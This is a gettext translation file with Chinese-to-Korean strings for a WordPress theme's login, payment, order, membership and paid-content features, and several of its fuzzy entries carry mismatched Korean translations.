#: Modules/Common/Login.php:1028
msgid "昵称太长了！最多8个字符"
msgstr "닉네임이 너무 깁니다! 최대 8 자"

#: Modules/Common/Login.php:1040
#, fuzzy
#| msgid "该邮箱已被注册"
msgid "该昵称已被注册"
msgstr "이 이메일은 이미 등록 되었습니다."

#: Modules/Common/Login.php:1067
msgid "请输入确认密码"
msgstr "확인 비밀번호를 입력해 주세요."

#: Modules/Common/Login.php:1070
msgid "两次密码不同，请重新输入"
msgstr "비밀번호가 다릅니다. 다시 입력 해주세요."

#: Modules/Common/Login.php:1150
msgid "需要您绑定了邮箱或者手机号码方可找回密码"
msgstr "메일주소나 휴대폰 번호를 연결해야 비밀번호를 찾을수 있습니다."

#: Modules/Common/Message.php:632
msgid "认证费用"
msgstr "인증 비용"

#: Modules/Common/Message.php:638 Modules/Common/Message.php:1216
#: Modules/Common/Orders.php:1345 functions.php:2117 functions.php:2190
msgid "签到填坑"
msgstr "출석 채우기"

#: Modules/Common/Message.php:644
msgid "优惠劵消费"
msgstr "구폰 사용"

#: Modules/Common/Message.php:651
msgid "永久关进小黑屋"
msgstr "작은 검은 집에 갇혀"

#: Modules/Common/Message.php:651
#, fuzzy, php-format
msgid "关进小黑屋%s天"
msgstr "작은 검은 집에 갇힌 일수"

#: Modules/Common/Message.php:670 Modules/Common/Shortcode.php:1534
#: User/myinv.php:5
msgid "奖励"
msgstr "보상"

#: Modules/Common/Message.php:724 Modules/Settings/Shop.php:35
#: archive-shop.php:117
msgid "商品购买"
msgstr "상품구매"

#: Modules/Common/Message.php:727 Modules/Common/Message.php:1080
#: Modules/Common/Message.php:1211
msgid "购买隐藏内容"
msgstr "숨겨진 콘텐츠 구입"

#: Modules/Common/Message.php:730
msgid "购买下载内容"
msgstr "다운로드 컨텐츠 구입"

#: Modules/Common/Message.php:733 functions.php:2112
msgid "视频购买"
msgstr "동영상 구매"

#: Modules/Common/Message.php:736
msgid "会员购买"
msgstr "회원 가입"

#: Modules/Common/Message.php:739 Modules/Common/Orders.php:688
#: Modules/Common/Orders.php:1305 Modules/Templates/VueTemplates.php:492
#: Pages/gold.php:42 Sidebars/sidebar.php:151 functions.php:2111
#: functions.php:2205
msgid "积分购买"
msgstr "포인트 충전"

#: Modules/Common/Message.php:742
msgid "购买认证服务"
msgstr "인증 서비스 구매"

#: Modules/Common/Message.php:745
msgid "付费入圈"
msgstr "서클에 지불"

#: Modules/Common/Message.php:748 Modules/Common/Message.php:1120
#: functions.php:2120 functions.php:2237
#, php-format
msgid "%s置顶"
msgstr "상단에 고정된 %s"

#: Modules/Common/Message.php:919
msgid "视频出售"
msgstr "동영상 판매"

#: Modules/Common/Message.php:924
#, fuzzy
#| msgid "资源出售"
msgid "下载资源出售"
msgstr "리소스 판매"

#: Modules/Common/Message.php:925 Modules/Common/Shortcode.php:1233
#: Modules/Common/Shortcode.php:1263 Modules/Templates/Modules/Posts.php:1486
#: functions.php:1827 functions.php:2280
msgid "下载"
msgstr "다운로드"

#: Modules/Common/Message.php:929
#, fuzzy
#| msgid "内容出售"
msgid "隐藏内容出售"
msgstr "콘텐츠 판매"

#: Modules/Common/Message.php:930 Modules/Common/Message.php:937
#: functions.php:2281
msgid "隐藏内容"
msgstr "숨겨진 콘텐츠를 구매했습니다.›% s"

#: Modules/Common/Message.php:936
#, fuzzy
msgid "帖子隐藏内容出售"
msgstr "숨겨진 콘텐츠 시작"

#: Modules/Common/Message.php:955
msgid "未名游客"
msgstr "이름 없는 관광객"

#: Modules/Common/Message.php:961
#, fuzzy, php-format
msgid "%s给作者打赏了%s"
msgstr "%s보상 %s"

#: Modules/Common/Message.php:970
#, fuzzy
msgid "有人给您打赏：${post_id}"
msgstr "누군가가 당신에게 정보를 제공했습니다: ${post_id}"

#: Modules/Common/Message.php:972 Modules/Common/Message.php:982
#: Modules/Common/Message.php:1085 Modules/Templates/Single.php:614
#: Modules/Templates/VueTemplates.php:477
msgid "打赏"
msgstr "팁"

#: Modules/Common/Message.php:980
#, fuzzy
msgid "收到 ${from}的打赏：${post_id}"
msgstr "${from} 팁을 받았습니다: ${post_id}"

#: Modules/Common/Message.php:991
#, fuzzy, php-format
msgid "${from}打赏后留言：%s"
msgstr "${from} 팁 이후의 메시지: %s"

#: Modules/Common/Message.php:993
#, fuzzy
msgid "打赏留言"
msgstr "보상 메시지"

#: Modules/Common/Message.php:1006
#, fuzzy, php-format
msgid "有${count}人加入了您的%s：${post_id}"
msgstr "${count}이(가) %s에 합류했습니다: ${post_id}"

#: Modules/Common/Message.php:1008 Modules/Common/Message.php:1019
#, fuzzy
msgid "加入圈子"
msgstr "서클 가입"

#: Modules/Common/Message.php:1017
#, fuzzy, php-format
msgid "${from}加入了您的%s：${post_id}"
msgstr "%s이 서클에 가입했습니다."

#: Modules/Common/Message.php:1029
#, fuzzy, php-format
msgid "有${count}人购买了您的%s：${post_id}"
msgstr "${count}명이 귀하의 %s을(를) 구매했습니다: ${post_id}"

#: Modules/Common/Message.php:1040
#, fuzzy, php-format
msgid "${from}购买了您的%s：${post_id}"
msgstr "${from}이(가) 귀하의 %s을(를) 구매했습니다: ${post_id}"

#: Modules/Common/Message.php:1068 Modules/Common/Message.php:1199
#, fuzzy
#| msgid "您购买了视频 › %s"
msgid "您购买了视频：${post_id}"
msgstr "동영상을 구매했습니다.› %s"

#: Modules/Common/Message.php:1070 Modules/Common/Message.php:1201
msgid "购买视频"
msgstr "동영상 구매"

#: Modules/Common/Message.php:1073 Modules/Common/Message.php:1204
#, fuzzy
#| msgid "购买下载内容"
msgid "您购买了下载内容：${post_id}"
msgstr "다운로드 컨텐츠 구입"

#: Modules/Common/Message.php:1075 Modules/Common/Message.php:1206
#, fuzzy
#| msgid "购买下载内容"
msgid "购买下载"
msgstr "다운로드 컨텐츠 구입"

#: Modules/Common/Message.php:1078 Modules/Common/Message.php:1209
#, fuzzy
#| msgid "您购买了隐藏内容 › %s"
msgid "您购买了隐藏内容：${post_id}"
msgstr "숨겨진 콘텐츠를 구매했습니다.›% s"

#: Modules/Common/Message.php:1083
#, fuzzy
msgid "您打赏了作者：${post_id}"
msgstr "작성자에게 ${post_id} 팁을 주었습니다."

#: Modules/Common/Message.php:1088
#, fuzzy
#| msgid "您购买了积分"
msgid "您购买了积分：${gold_page}"
msgstr "포인트를 구매했습니다."

#: Modules/Common/Message.php:1090
#, fuzzy
msgid "购买积分"
msgstr "현재 포인트가 부족합니다.%s 포인트 %s를 구입하시기 바랍니다."

#: Modules/Common/Message.php:1093
#, fuzzy
msgid "您购买了会员"
msgstr "구매한 멤버십: ${vip}"

#: Modules/Common/Message.php:1095
#, fuzzy
msgid "购买会员"
msgstr "멤버십 구매"

#: Modules/Common/Message.php:1098
#, fuzzy
msgid "您进行了认证"
msgstr "당신은 인증"

#: Modules/Common/Message.php:1103
#, fuzzy, php-format
msgid "您加入了%s：${post_id}"
msgstr "%s에 가입했습니다: ${post_id}"

#: Modules/Common/Message.php:1105 TempParts/circle/circle-form.php:144
#: TempParts/circle/circle-form.php:152
#: TempParts/circle/circle-topic-content.php:127
#: TempParts/circle/circle-topic-list.php:221
#: TempParts/circle/circle-topic-list.php:229 TempParts/single-circle.php:70
#: TempParts/single-circle.php:78 functions.php:2161
#, php-format
msgid "加入%s"
msgstr "%s에 가입"

#: Modules/Common/Message.php:1108 Modules/Common/Message.php:1229
#, fuzzy
msgid "您查看了帖子隐藏内容：${post_id}"
msgstr "숨겨진 콘텐츠보기 :"

#: Modules/Common/Message.php:1110 Modules/Common/Message.php:1231
#, fuzzy
msgid "查看帖子隐藏内容"
msgstr "숨겨진 콘텐츠보기 :"

#: Modules/Common/Message.php:1113
#, fuzzy, php-format
msgid "您参与了%s：${post_id}"
msgstr "%s에 참여했습니다: ${post_id}"

#: Modules/Common/Message.php:1115 functions.php:1077 functions.php:1701
#: functions.php:1740 functions.php:2119
msgid "自定义支付"
msgstr "맞춤 결제"

#: Modules/Common/Message.php:1118
#, fuzzy, php-format
#| msgid "您购买了%s"
msgid "您购买了%s置顶"
msgstr "%s을 구매했습니다."

#: Modules/Common/Message.php:1214
#, fuzzy
#| msgid "签到填坑"
msgid "您操作了签到填坑"
msgstr "출석 채우기"

#: Modules/Common/Message.php:1219
#, fuzzy
msgid "您成功兑换了：${post_id}"
msgstr "${post_id}을(를) 성공적으로 사용했습니다."

#: Modules/Common/Message.php:1221 Modules/Settings/Normal.php:2607
#: Modules/Settings/Shop.php:36 Modules/Settings/Shop.php:225
#: Modules/Settings/Shop.php:639 Modules/Settings/Shop.php:829
#: archive-shop.php:202 functions.php:2105 functions.php:2256
msgid "积分兑换"
msgstr "포인트로 교환"

#: Modules/Common/Message.php:1224 Modules/Common/Shop.php:802
#, fuzzy
msgid "您参与了抽奖：${post_id}"
msgstr "추첨에 참여했습니다: ${post_id}"

#: Modules/Common/Message.php:1226 Modules/Common/Shop.php:804
#: Modules/Settings/Shop.php:37 Modules/Settings/Shop.php:226
#: Modules/Settings/Shop.php:638 archive-shop.php:160 functions.php:2104
#: functions.php:2257
msgid "积分抽奖"
msgstr "포인트 추첨"

#: Modules/Common/Message.php:1287
#, fuzzy
msgid "您偷瞄了别人的回答:${post_id}"
msgstr "다른 사람의 답변을 엿봤습니다: ${post_id}"

#: Modules/Common/Message.php:1289
#: TempParts/circle/circle-topic-content.php:378
#: TempParts/circle/circle-topic-content.php:388 functions.php:2178
msgid "偷瞄答案"
msgstr "답변보기"

#: Modules/Common/Message.php:1339 Modules/Common/Orders.php:933
#, fuzzy, php-format
msgid "${from}偷瞄了您的回答%s：${post_id}"
msgstr "${from}이(가) 귀하의 답변 %s을(를) 엿봤습니다: ${post_id}"

#: Modules/Common/Message.php:1341 Modules/Common/Message.php:1353
#: Modules/Common/Orders.php:935 Modules/Common/Orders.php:947
#, fuzzy
msgid "回答被偷瞄"
msgstr "몰래 하는 대답"

#: Modules/Common/Message.php:1351 Modules/Common/Orders.php:945
#, fuzzy
msgid "有${count}人偷瞄了您的回答:${post_id}"
msgstr "${count}명이 귀하의 답변을 보았습니다: ${post_id}"

#: Modules/Common/Msg.php:38
#, fuzzy
msgid "有人给您打赏了"
msgstr "누군가가 당신에게 정보를 제공했습니다: ${post_id}"

#: Modules/Common/Msg.php:40
#, fuzzy, php-format
msgid "%s在%s中给您打赏了%s"
msgstr "%s보상 %s"

#: Modules/Common/Msg.php:56
msgid "用户充值提醒"
msgstr "사용자 충전 알림"

#: Modules/Common/Msg.php:58
#, fuzzy, php-format
msgid "%s充值了%s"
msgstr "%s 충전"

#: Modules/Common/Msg.php:74
#, fuzzy
#| msgid "内容出售"
msgid "隐藏内容出售成功"
msgstr "콘텐츠 판매"

#: Modules/Common/Msg.php:76
#, fuzzy, php-format
#| msgid "%s购买了您发布的隐藏内容"
msgid "%s在%s中支付了%s购买您的隐藏内容"
msgstr "%s님이 당신이 등록한 숨겨진 컨텐츠를 구매했습니다."

#: Modules/Common/Msg.php:94
#, fuzzy
#| msgid "资源出售"
msgid "资源出售成功"
msgstr "리소스 판매"

#: Modules/Common/Msg.php:96
#, php-format
msgid "%s在%s中支付了%s购买您的下载内容"
msgstr "다운로드 가능한 콘텐츠에 대해 %s에서 %s을 지불%s했습니다."

#: Modules/Common/Msg.php:112
#, fuzzy
#| msgid "您购买了积分"
msgid "有人购买了积分"
msgstr "포인트를 구매했습니다."

#: Modules/Common/Msg.php:114
#, fuzzy, php-format
#| msgid "您购买了积分"
msgid "%s在购买了积分"
msgstr "포인트를 구매했습니다."

#: Modules/Common/Msg.php:129
#, fuzzy
#| msgid "视频出售"
msgid "视频出售成功"
msgstr "동영상 판매"

#: Modules/Common/Msg.php:131
#, php-format
msgid "%s在%s中支付了%s购买您的视频"
msgstr "%s이 %s에서 %s를 지불하여 동영상을 구매했습니다."

#: Modules/Common/Msg.php:147
msgid "认证申请"
msgstr "인증 신청"

#: Modules/Common/Msg.php:149
#, php-format
msgid "%s在申请了认证，请审核"
msgstr "%s 인증을 신청한 후 다음과 같은 내용을 검토하세요."

#: Modules/Common/Msg.php:165
#, fuzzy, php-format
msgid "有人加入了您的%s"
msgstr "${count}이(가) %s에 합류했습니다: ${post_id}"

#: Modules/Common/Msg.php:167
#, php-format
msgid "%s支付了%s加入了您的%s"
msgstr "%s 유료 %s 추가 %s"

#: Modules/Common/Msg.php:184
#, fuzzy
msgid "有人付费查看回答"
msgstr "서클 Q & A보기"

#: Modules/Common/Msg.php:186
#, php-format
msgid "%s支付了%s付费查看回答"
msgstr "%s 유료 %s 유료로 답변 보기"

#: Modules/Common/Msg.php:202
#, fuzzy
#| msgid "付费查看隐藏帖子"
msgid "有人付费查看隐藏帖子"
msgstr "숨겨진 게시물을 보려면 지불"

#: Modules/Common/Msg.php:204
#, fuzzy, php-format
#| msgid "付费查看隐藏帖子"
msgid "%s支付了%s付费查看隐藏帖子"
msgstr "숨겨진 게시물을 보려면 지불"

#: Modules/Common/Msg.php:219
#, fuzzy
msgid "有人购买了会员"
msgstr "구매한 멤버십: ${vip}"

#: Modules/Common/Msg.php:221
#, fuzzy, php-format
msgid "%s支付%s购买了会员"
msgstr "구매한 멤버십: ${vip}"

#: Modules/Common/Msg.php:237
msgid "有人提交了表单"
msgstr "누군가 양식을 제출했습니다."

#: Modules/Common/Msg.php:239
#, php-format
msgid "%s支付%s提交了表单"
msgstr "%s 결제 %s 양식 제출"

#: Modules/Common/Msg.php:256
#, php-format
msgid "有人置顶了%s"
msgstr "누군가 정상을 차지했습니다 %s."

#: Modules/Common/Msg.php:258
#, php-format
msgid "%s支付%s置顶了%s帖子"
msgstr "%s 유료 %s 인기 %s 게시물"

#: Modules/Common/Msg.php:293
#, php-format
msgid "来自%s的通知"
msgstr "0]에서 알림"

#: Modules/Common/Msg.php:311 Modules/Settings/Document.php:492
#, fuzzy
#| msgid "本邮件为系统邮件不能回复，请勿回复。"
msgid "本邮件为系统邮件，请勿回复。"
msgstr "본 이메일은 시스템 이메일이므로 답장을 보낼수 없습니다."

#: Modules/Common/Newsflashes.php:22
#, fuzzy
#| msgid "允许发布"
msgid "不允许发布"
msgstr "게시 허용"

#: Modules/Common/Newsflashes.php:41
#, fuzzy, php-format
#| msgid "您没有权限发布快讯"
msgid "您没有权限发布%s"
msgstr "속보를 게시할 권한이 없습니다."

#: Modules/Common/Newsflashes.php:101
msgid "标签不存在"
msgstr "태그가 없습니다."

#: Modules/Common/OAuth.php:33 Modules/Common/OAuth.php:40
#, fuzzy
#| msgid "删除失败，请联系管理员"
msgid "登录失败，请联系管理员"
msgstr "삭제에 실패했습니다. 관리자에게 문의하십시오."

#: Modules/Common/OAuth.php:60 Modules/Common/Wecatmp.php:447
msgid "登录失败"
msgstr "로그인 실패"

#: Modules/Common/OAuth.php:139 Modules/Common/OAuth.php:161
#: Modules/Common/OAuth.php:173 Modules/Common/OAuth.php:185
#: Modules/Common/OAuth.php:792 Modules/Common/Wecatmp.php:333
#, php-format
msgid "错误代码：%s；错误信息：%s；请在百度中搜索相关错误代码进行修正。"
msgstr ""
"오류 코드 :  %s, 오류 메시지 :  %s, Baidu에서 관련 오류 코드를 검색하여 수정"
"하십시오."

#: Modules/Common/OAuth.php:223 Modules/Settings/Normal.php:1506
#: functions.php:2588 functions.php:2606
msgid "QQ"
msgstr "QQ"

#: Modules/Common/OAuth.php:227 Modules/Settings/Normal.php:1507
#: Modules/Settings/Normal.php:2142 Modules/Templates/VueTemplates.php:554
#: Modules/Templates/VueTemplates.php:793 User/settings.php:173
#: functions.php:2564 functions.php:2611
msgid "微信"
msgstr "위챗페이"

#: Modules/Common/OAuth.php:231 Modules/Settings/Normal.php:1509
#: Modules/Templates/VueTemplates.php:416 functions.php:2581 functions.php:2616
msgid "微博"
msgstr "웨이 보"

#: Modules/Common/OAuth.php:235 Modules/Settings/Normal.php:1510
#: functions.php:2621
#, fuzzy
#| msgid "热度"
msgid "百度"
msgstr "열"

#: Modules/Common/OAuth.php:238 Modules/Common/Orders.php:1176
#: Modules/Settings/Normal.php:1508 Modules/Settings/Normal.php:2122
#: Modules/Templates/VueTemplates.php:463
#: Modules/Templates/VueTemplates.php:553
#: Modules/Templates/VueTemplates.php:792
#: Modules/Templates/VueTemplates.php:793 User/settings.php:177
#: functions.php:2626
msgid "支付宝"
msgstr "알리페이"

#: Modules/Common/OAuth.php:241 Modules/Settings/Normal.php:1511
#: functions.php:2631
msgid "华为"
msgstr "Huawei"

#: Modules/Common/OAuth.php:244 Modules/Settings/Normal.php:1512
#: functions.php:2636
msgid "小米"
msgstr "Xiaomi"

#: Modules/Common/OAuth.php:247 Modules/Settings/Normal.php:1517
#: functions.php:2641
msgid "钉钉"
msgstr "고정"

#: Modules/Common/OAuth.php:250 Modules/Settings/Normal.php:1514
msgid "Facebook"
msgstr "페이스북"

#: Modules/Common/OAuth.php:253 Modules/Settings/Normal.php:1515
msgid "Twitter"
msgstr "트위터"

#: Modules/Common/OAuth.php:256 Modules/Settings/Normal.php:1513
msgid "Google"
msgstr "Google"

#: Modules/Common/OAuth.php:259 Modules/Settings/Normal.php:1518
msgid "Github"
msgstr "Github"

#: Modules/Common/OAuth.php:262 Modules/Settings/Normal.php:1519
msgid "Gitee"
msgstr "Gitee"

#: Modules/Common/OAuth.php:265
msgid "Microsoft"
msgstr "Microsoft"

#: Modules/Common/OAuth.php:279
#, fuzzy, php-format
msgid "此%s已经绑定到名为%s的账户中"
msgstr "이 WeChat은  %s라는 계정에 연결되었습니다."

#: Modules/Common/OAuth.php:322 Modules/Common/Wecatmp.php:512
msgid "本站已关闭注册"
msgstr "가입 비활성화"

#: Modules/Common/OAuth.php:347 Modules/Common/OAuth.php:608
#: Modules/Common/Post.php:1408 Modules/Common/Wecatmp.php:574
msgid "请安装 JWT Authentication for WP-API 插件"
msgstr "WP-API 플러그인 용 JWT 인증을 설치하세요."

#: Modules/Common/OAuth.php:404 Modules/Common/Wecatmp.php:614
msgid "注册时间过期，请返回重新注册"
msgstr "가입 시간이 만료되었습니다. 다시 가입하십시오."

#: Modules/Common/OAuth.php:406 Modules/Common/Post.php:1510
#: Modules/Common/Wecatmp.php:616
msgid "解码失败"
msgstr "해시 실패"

#: Modules/Common/Orders.php:48
msgid "小黑屋中禁止交易"
msgstr "작은 검은 방에서의 거래 금지"

#: Modules/Common/Orders.php:55
#, fuzzy
#| msgid "评论已经关闭"
msgid "充值功能已经关闭"
msgstr "댓글 비활성화 됨"

#: Modules/Common/Orders.php:58
#, fuzzy
#| msgid "评论已经关闭"
msgid "积分购买功能已经关闭"
msgstr "댓글 비활성화 됨"

#: Modules/Common/Orders.php:62 Modules/Common/Orders.php:142
msgid "订单类型错误"
msgstr "잘못된 주문 유형"

#: Modules/Common/Orders.php:80
#, fuzzy
#| msgid "订单总金额错误"
msgid "订单金额错误"
msgstr "총 주문 금액 오류"

#: Modules/Common/Orders.php:85 Modules/Common/Orders.php:86
#: Modules/Common/Orders.php:90 Modules/Common/Orders.php:92
#: Modules/Common/Orders.php:120 Modules/Common/Orders.php:124
#: Modules/Common/Orders.php:126 Modules/Common/Orders.php:172
#: Modules/Common/Pay.php:1723
msgid "嗯？"
msgstr "확인?"

#: Modules/Common/Orders.php:109
msgid "实物商品不支持游客购买"
msgstr "방문객은 실물 상품을 구매할 수 없습니다."

#: Modules/Common/Orders.php:134
msgid "超出限购数量，请减少数量后重新下单"
msgstr "수량 제한을 초과한 경우 수량을 줄이고 새로 주문하세요."

#: Modules/Common/Orders.php:137
msgid "限购商品，无法再次购买"
msgstr "제한 품목, 재구매 불가"

#: Modules/Common/Orders.php:170 Modules/Common/Orders.php:183
#: Modules/Common/Orders.php:188
msgid "订单总金额错误"
msgstr "총 주문 금액 오류"

#: Modules/Common/Orders.php:222 functions.php:2259
msgid "订单信息错误"
msgstr "주문정보 오류입니다"

#: Modules/Common/Orders.php:321
msgid "没有相关资源"
msgstr "관련 자료가 없습니다."

#: Modules/Common/Orders.php:372 Modules/Common/Orders.php:419
#: Modules/Common/Pay.php:1089
msgid "回调错误"
msgstr "콜백 오류"

#: Modules/Common/Orders.php:393
msgid "没有找到这个订单"
msgstr "이 주문을 찾지 못했습니다."

#: Modules/Common/Orders.php:460
msgid "更新订单失败"
msgstr "주문 업데이트 실패"

#: Modules/Common/Orders.php:572
#, fuzzy
msgid "获得购买商品的积分奖励：${post_id}"
msgstr "구매 포인트 적립: ${post_id}"

#: Modules/Common/Orders.php:574 Modules/Settings/Normal.php:2787
#: Modules/Settings/Normal.php:2795 Modules/Settings/Shop.php:762
#: TempParts/circle/circle-form.php:299
msgid "奖励积分"
msgstr "보상 점수"

#: Modules/Common/Orders.php:607
#, fuzzy
msgid "您购买了商品：${post_id}"
msgstr "구매한 항목: ${post_id}"

#: Modules/Common/Orders.php:609
#, fuzzy
msgid "商城消费"
msgstr "쇼핑몰 소비"

#: Modules/Common/Orders.php:686
msgid "您购买了积分"
msgstr "포인트를 구매했습니다."

#: Modules/Common/Orders.php:831 Modules/Templates/VueTemplates.php:677
#: functions.php:2203
msgid "充值成功"
msgstr "충전 성공"

#: Modules/Common/Orders.php:833 Modules/Common/Orders.php:1299
#: Modules/Templates/VueTemplates.php:489 Pages/gold.php:35 functions.php:2202
msgid "充值"
msgstr "충전"

#: Modules/Common/Orders.php:858
msgid "有效期错误"
msgstr "만료일 오류"

#: Modules/Common/Orders.php:1073
#, fuzzy
msgid "订单不存在"
msgstr "주문이 존재하지 않습니다."

#: Modules/Common/Orders.php:1134 Modules/Settings/Orders.php:1033
#: Modules/Settings/Orders.php:1130 Modules/Settings/OrdersListTable.php:38
#: Modules/Settings/OrdersListTable.php:48
msgid "等待付款"
msgstr "결제 대기 중"

#: Modules/Common/Orders.php:1135 Modules/Settings/Orders.php:1034
#: Modules/Settings/OrdersListTable.php:39
#: Modules/Settings/OrdersListTable.php:49
msgid "已付款未发货"
msgstr "결제 완료되었습니다.배송 대기중..."

#: Modules/Common/Orders.php:1136 Modules/Settings/Orders.php:1035
#: Modules/Settings/Orders.php:1132 Modules/Settings/OrdersListTable.php:40
#: Modules/Settings/OrdersListTable.php:50
msgid "已发货"
msgstr "배송 되었습니다."

#: Modules/Common/Orders.php:1137 Modules/Settings/CashOut.php:142
#: Modules/Settings/CashOutListTable.php:31 Modules/Settings/Circle.php:67
#: Modules/Settings/Distribution.php:375 Modules/Settings/Distribution.php:402
#: Modules/Settings/Orders.php:1036 Modules/Settings/OrdersListTable.php:41
#: Modules/Settings/OrdersListTable.php:51 Modules/Settings/Report.php:199
#: Modules/Settings/ReportTable.php:31 Modules/Settings/RequestsTable.php:31
#: Modules/Settings/distributionUserListTable.php:32
#: Modules/Settings/distributionUserListTable.php:41
#: Modules/Settings/distributionUserListTable.php:50 functions.php:2720
msgid "已删除"
msgstr "삭제됨"

#: Modules/Common/Orders.php:1138 Modules/Settings/Orders.php:1037
#: Modules/Settings/Orders.php:1129 Modules/Settings/OrdersListTable.php:42
#: Modules/Settings/OrdersListTable.php:52 User/orders.php:34
msgid "已签收"
msgstr "수령 확인 되었습니다."

#: Modules/Common/Orders.php:1139 Modules/Settings/Orders.php:1038
#: Modules/Settings/Orders.php:1133 Modules/Settings/OrdersListTable.php:43
#: Modules/Settings/OrdersListTable.php:53
msgid "已退款"
msgstr "환불되었습니다."

#: Modules/Common/Orders.php:1146
msgid "未知订单类型"
msgstr "잘못된 주문 유형"

#: Modules/Common/Orders.php:1180 Modules/Templates/VueTemplates.php:464
msgid "微信支付"
msgstr "WeChat Pay"

#: Modules/Common/Orders.php:1184 Modules/Settings/OrdersListTable.php:61
#: Modules/Settings/OrdersListTable.php:82
#: Modules/Templates/VueTemplates.php:465
#, fuzzy, php-format
msgid "%s支付"
msgstr "%s 지불"

#: Modules/Common/Orders.php:1188 Modules/Templates/VueTemplates.php:818
msgid "积分支付"
msgstr "포인트 결제"

#: Modules/Common/Orders.php:1192 Modules/Templates/VueTemplates.php:555
msgid "PayPal"
msgstr "PayPal"

#: Modules/Common/Orders.php:1196 Modules/Settings/OrdersListTable.php:76
#: Modules/Settings/OrdersListTable.php:97
msgid "百度小程序支付"
msgstr "바이두 미니 프로그램 결제"

#: Modules/Common/Orders.php:1200 Modules/Settings/OrdersListTable.php:77
#: Modules/Settings/OrdersListTable.php:98
#, fuzzy
msgid "字节小程序支付"
msgstr "바이트 애플릿 결제"

#: Modules/Common/Orders.php:1311
msgid "VIP购买"
msgstr "VIP가입"

#: Modules/Common/Orders.php:1317 functions.php:2113
msgid "认证付费"
msgstr "인증 된 결제"

#: Modules/Common/Orders.php:1327 functions.php:2114
#, php-format
msgid "付费加入%s"
msgstr "%s에 가입하려면 비용을 지불하세요."

#: Modules/Common/Orders.php:1333 functions.php:2115
#, fuzzy, php-format
msgid "付费查看%s问答"
msgstr "서클 Q & A보기"

#: Modules/Common/Orders.php:1339
msgid "付费查看帖子"
msgstr "게시물을 보려면 지불"

#: Modules/Common/Orders.php:1351 Modules/Common/Shortcode.php:549
#: Modules/Templates/Footer.php:454 Modules/Templates/Footer.php:570
#: Modules/Templates/Modules/Products.php:206
#: Modules/Templates/Widgets/Coupon.php:39 Pages/carts.php:98
msgid "优惠劵"
msgstr "할인쿠폰"

#: Modules/Common/Orders.php:1364
msgid "临时未付款订单"
msgstr "잠정 미지급 주문"

#: Modules/Common/Orders.php:1489
msgid "邀请码："
msgstr "초대 코드:"

#: Modules/Common/Orders.php:1559
msgid "订单已经确认过了！"
msgstr "주문이 확정되었습니다!"

#: Modules/Common/Pay.php:14
msgid "支付类型错误！"
msgstr "결제 방식이 잘못 되었습니다!"

#: Modules/Common/Pay.php:20
msgid "未启用支付宝"
msgstr "알리페이가 활성화되지 않았습니다."

#: Modules/Common/Pay.php:30
msgid "未启用微信支付"
msgstr "위챗페이가 활성화되지 않았습니다."

#: Modules/Common/Pay.php:75
msgid "未知的支付类型"
msgstr "알수없는 결제 방식"

#: Modules/Common/Pay.php:320 Modules/Common/Pay.php:323
#: Modules/Common/Pay.php:461 Modules/Common/Pay.php:464 functions.php:2264
msgid "支付信息错误"
msgstr "결제 정보 오류"

#: Modules/Common/Pay.php:326 Modules/Common/Pay.php:467
msgid "支付类型错误"
msgstr "잘못된 결제 유형"

#: Modules/Common/Pay.php:334
msgid "积分余额不足"
msgstr "포인트 잔액 부족"

#: Modules/Common/Pay.php:396
msgid "订单获取失败"
msgstr "주문 가져오기 실패"

#: Modules/Common/Pay.php:554 Modules/Common/Pay.php:571
#: Modules/Common/Pay.php:675 Modules/Common/Pay.php:768
#: Modules/Common/Pay.php:859 Modules/Common/Pay.php:965
#: Modules/Common/Pay.php:1073 Modules/Common/Pay.php:1378
#: Modules/Common/Pay.php:1396
msgid "支付回调错误"
msgstr "결제 콜백 오류"

#: Modules/Common/Pay.php:663 Modules/Common/Pay.php:869
#: Modules/Common/Pay.php:975 Modules/Templates/VueTemplates.php:689
#: Modules/Templates/VueTemplates.php:786 Pages/return.php:25
#: Pages/xunhufail.php:8 functions.php:1847
msgid "支付失败"
msgstr "결제 실패"

#: Modules/Common/Pay.php:690
msgid "参数校验错误"
msgstr "매개변수 검증 오류"

#: Modules/Common/Pay.php:1137
msgid "paypal配置错误，请检查"
msgstr "페이팔 구성 오류, 확인해주세요."

#: Modules/Common/Pay.php:1266 Modules/Common/Pay.php:1292
#, php-format
msgid "错误代码：%s。错误信息：%s"
msgstr "오류 코드 :  %s. 오류 메시지 :  %s"

#: Modules/Common/Pay.php:1341
msgid "Invalid sign!"
msgstr "유효하지 않은 표시!"

#: Modules/Common/Pay.php:1384
msgid "签名错误"
msgstr "서명 오류"

#: Modules/Common/Pay.php:1401
msgid "签名验证失败"
msgstr "서명 검증 실패"

#: Modules/Common/Pay.php:1411
msgid "回调失败"
msgstr "콜백 실패"

#: Modules/Common/Pay.php:1447
msgid "请在小程序插件中设置小程序登陆相关参数"
msgstr "애플릿 플러그인에서 애플릿 로그인의 관련 매개변수를 설정하십시오."

#: Modules/Common/Pay.php:1543
msgid "网站未开通服务号，无法完成支付，请在浏览器中打开当前网页完成支付。"
msgstr ""
"웹사이트에서 서비스 계정이 개설되지 않아 결제가 완료되지 않습니다. 결제를 완"
"료하려면 브라우저에서 현재 웹페이지를 열어주세요."

#: Modules/Common/Pay.php:1873
msgid "请先前往移动端插件中配置百度支付"
msgstr "Baidu 결제를 구성하려면 모바일 터미널 플러그인으로 이동하세요."

#: Modules/Common/Player.php:31
#, fuzzy
msgid "参数错误，无法获取视频播放地址1"
msgstr "매개변수 오류, 비디오 재생 주소 1을 가져올 수 없음"

#: Modules/Common/Player.php:43
#, fuzzy
msgid "参数错误，无法获取视频播放地址2"
msgstr "매개변수 오류, 비디오 재생 주소 2를 가져올 수 없음"

#: Modules/Common/Player.php:47
#, fuzzy
msgid "参数错误，无法获取视频播放地址3"
msgstr "매개변수가 잘못되었습니다. 비디오 재생 주소를 가져올 수 없습니다. 3"

#: Modules/Common/Player.php:62
#, fuzzy
msgid "没有视频"
msgstr "동영상 없음"

#: Modules/Common/Post.php:205
msgid "待审文章请审核"
msgstr "검토 대기 중인 문서"

#: Modules/Common/Post.php:207
#, php-format
msgid "%s提交了待审文章%s"
msgstr "%s 검토를 위해 제출된 문서 %s"

#: Modules/Common/Post.php:228
#, fuzzy
#| msgid "审核成功"
msgid "文章审核成功"
msgstr "성공적인 검토"

#: Modules/Common/Post.php:230
#, php-format
msgid "您提交的文章审核成功：%s"
msgstr "제출물이 성공적으로 검토되었습니다: %s"

#: Modules/Common/Post.php:248
#, fuzzy
msgid "您发布了一篇文章：${post_id}"
msgstr "다음 기사를 게시했습니다: ${post_id}"

#: Modules/Common/Post.php:250
#, fuzzy
msgid "投稿奖励"
msgstr "기여 보상"

